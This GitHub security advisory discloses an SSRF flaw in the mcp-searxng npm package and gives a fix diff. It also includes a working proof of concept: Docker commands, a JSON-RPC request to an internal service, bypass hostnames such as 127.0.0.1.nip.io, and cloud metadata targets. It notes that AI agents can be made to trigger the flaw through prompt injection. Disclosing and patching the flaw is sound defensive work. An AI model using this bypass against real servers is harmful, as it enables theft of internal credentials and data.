GitHub Advisoryadvisory · npm

GHSA-mrvx-jmjw-vggc SearXNG MCP Server: DNS-resolved Private Hostname SSRF in `web_url_read`

HIGH Published 2026-06-19 Modified 2026-06-19 Official page ↗
Ecosystem
npm
Packages
mcp-searxng
Severity
High
CVSS vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
Weaknesses
CWE-918
Reviewed
2026-06-19

Affected packages

• npm mcp-searxng: < 1.7.1 → fixed in 1.7.1

Description

DNS-resolved Private Hostname SSRF in `web_url_read` Summary The `web_url_read` MCP tool in `mcp-searxng` is vulnerable to Server-Side Request Forgery (SSRF) via DNS rebinding bypass. The `assertUrlAllowed()` function at `src/url-reader.ts:85-93` validates only the syntactic hostname string against a private IP/hostname blocklist without performing DNS resolution. An attacker who controls a domain that resolves to a private or loopback IP address (e.g., via a wildcard DNS service like `nip.io`, or a custom DNS entry) can bypass the security check and cause the MCP server to read arbitrary internal HTTP services reachable from the server host. This allows exfiltration of sensitive data from internal services with no authentication required in the default HTTP configuration. Details The vulnerable code is in `src/url-reader.ts`, where the `assertUrlAllowed()` function performs a hostname-only string comparison: ```ts // src/url-reader.ts:85-93 function assertUrlAllowed(url: URL): void { const security = getHttpSecurityConfig(); if (security.allowPrivateUrls) { return; } if (isPrivateHostname(url.hostname) || isPrivateIpv4(url.hostname) || isPrivateIPv6(url.hostname)) { throw createURLSecurityPolicyError(url.toString()); } } ``` This function checks whether `url.hostname` lexically matches a private address pattern but never resolves the hostname via DNS. The OS-level DNS resolution happens later, inside `undiciFetch()` at `src/url-reader.ts:367`, after the security gate has already passed. The full data flow is: 1. `src/index.ts:37-49` — `isWebUrlReadArgs()` accepts `args.url` as any string value with no URL policy enforcement. 2. `src/index.ts:226-240` — `web_url_read` passes `args.url` directly to `fetchAndConvertToMarkdown()`. 3. `src/url-reader.ts:307-313` — URL is parsed and `assertUrlAllowed(parsedUrl)` is called (string check only). 4. `src/url-reader.ts:85-93` — `assertUrlAllowed()` checks `url.hostname` as a string; no DNS resolution is performed. 5. `src/url-reader.ts:367` — `undiciFetch(currentUrl.toString(), currentRequestOptions)` resolves the hostname via OS DNS and connects to the resolved IP, which may be a private or loopback address. In the default HTTP mode (`MCP_HTTP_HARDEN` unset), `requireAuth` is `false` (see `src/http-security.ts:30-41`), meaning no authentication is required to invoke `web_url_read`. The recommended remediation is to resolve the hostname via `node:dns/promises` inside `assertUrlAllowed()` before the fetch is issued: ```diff --- a/src/url-reader.ts +++ b/src/url-reader.ts @@ import { isIP } from "node:net"; +import { lookup } from "node:dns/promises"; @@ -function assertUrlAllowed(url: URL): void { +async function assertUrlAllowed(url: URL): Promise { const security = getHttpSecurityConfig(); if (security.allowPrivateUrls) { return; } + if (!["http:", "https:"].includes(url.protocol)) { + throw createURLSecurityPolicyError(url.toString()); + } if (isPrivateHostname(url.hostname) || isPrivateIpv4(url.hostname) || isPrivateIPv6(url.hostname)) { throw createURLSecurityPolicyError(url.toString()); } + if (isIP(url.hostname) === 0) { + const answers = await lookup(url.hostname, { all: true, verbatim: true }); + if (answers.some(({ address }) => isPrivateIpv4(address) || isPrivateIPv6(address))) { + throw createURLSecurityPolicyError(url.toString()); + } + } } @@ • assertUrlAllowed(parsedUrl); + await assertUrlAllowed(parsedUrl); @@ • assertUrlAllowed(nextUrl); + await assertUrlAllowed(nextUrl); ``` PoC Prerequisites: • Docker installed on the test machine. • The `mcp-searxng` repository cloned locally (version 1.6.0 / commit `90423e5`). Build the container: ```bash docker build -t mcp-searxng-ssrf-001 -f vuln-001/Dockerfile . ``` Run the PoC: ```bash docker run --rm \ --add-host ssrf-target.internal:127.0.0.1 \ -v $(pwd)/vuln-001/poc.py:/poc.py \ mcp-searxng-ssrf-001 \ python3 /poc.py ``` The `--add-host` flag maps `ssrf-target.internal` to `127.0.0.1` inside the container, simulating a DNS-resolved private hostname (equivalent to using a wildcard DNS service like `127.0.0.1.nip.io` in a real attack). What the PoC does: 1. Starts a Python HTTP server on `127.0.0.1:9796` returning the sentinel value `INTERNAL-SECRET-OK-SSRF-PROOF`. 2. Starts the MCP server in STDIO mode. 3. Test 1: Sends a `tools/call` request for `http://127.0.0.1:9796/` — this is correctly blocked by `assertUrlAllowed()`. 4. Test 2: Sends a `tools/call` request for `http://ssrf-target.internal:9796/` — this bypasses the check because the hostname is syntactically public, but resolves to `127.0.0.1` at fetch time. Expected output (confirming SSRF): ``` [+] BLOCKED — assertUrlAllowed() correctly rejected 127.0.0.1 [!!!] SSRF BYPASS CONFIRMED [!!!] Sentinel 'INTERNAL-SECRET-OK-SSRF-PROOF' found in MCP tool response Raw tool response text: 'INTERNAL-SECRET-OK-SSRF-PROOF' URL: http://ssrf-target.internal:9796/ (resolves to 127.0.0.1 via /etc/hosts) assertUrlAllowed() sees hostname='ssrf-target.internal' → passes string check undiciFetch() resolves DNS → 127.0.0.1 → reads internal service [RESULT] PASS ``` The same bypass can be achieved in production using any public DNS wildcard service that resolves to a private IP (e.g., `http://127.0.0.1.nip.io:PORT/`), or by controlling a custom DNS record. MCP JSON-RPC request (STDIO mode): ```json {"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"web_url_read","arguments":{"url":"http://ssrf-target.internal:9796/","maxLength":200}}} ``` Impact This is a Server-Side Request Forgery (SSRF) vulnerability. An attacker who can send requests to the MCP server — or who can influence an AI agent connected to the server to call `web_url_read` with an attacker-controlled URL — can: • Read internal HTTP services reachable from the MCP server host (e.g., cloud metadata endpoints at `169.254.169.254`, internal APIs, admin dashboards, databases with HTTP interfaces). • Exfiltrate sensitive data such as cloud provider credentials, internal service tokens, or configuration secrets. • Enumerate internal network topology by probing responses from different internal hosts and ports. In the default HTTP deployment configuration (`MCP_HTTP_HARDEN` unset), authentication is disabled (`requireAuth: false`), so any unauthenticated network client can exploit this vulnerability. In STDIO mode, exploitation requires the AI agent connected to the MCP server to be tricked into providing an attacker-controlled URL, which is feasible via prompt injection or malicious content fetched from the web. The vulnerability has a CVSS v3.1 score of 7.1 (High) and affects all users running `mcp-searxng` version 1.6.0 without setting `MCP_HTTP_ALLOW_PRIVATE_URLS=false` explicitly overriding to true (the insecure opt-in) or applying a patched version. Reproduction artifacts `Dockerfile` ```dockerfile FROM node:20-slim Install Python3 for the PoC script RUN apt-get update && apt-get install -y --no-install-recommends python3 && rm -rf /var/lib/apt/lists/* WORKDIR /app Copy the entire repository COPY . /app/ Install dependencies and compile TypeScript RUN npm ci && npm run build Verify the build output exists RUN test -f dist/index.js || (echo "ERROR: dist/index.js not found after build" && exit 1) Default: drop into a shell for manual inspection; overridden by docker run CMD ["node", "dist/index.js"] ``` `poc.py` ```python !/usr/bin/env python3 """ PoC for VULN-001: DNS-resolved Private Hostname SSRF in web_url_read CWE-918 | CVSS 7.1 The assertUrlAllowed() function (src/url-reader.ts:85-93) checks only the url.hostname string against private IP/hostname patterns without performing DNS resolution. A hostname that is syntactically public but resolves to a private or loopback address at fetch time bypasses the check. Attack flow: …

Related

Weakness · CWE (1)

  • CWE-918 Server-Side Request Forgery weakness

References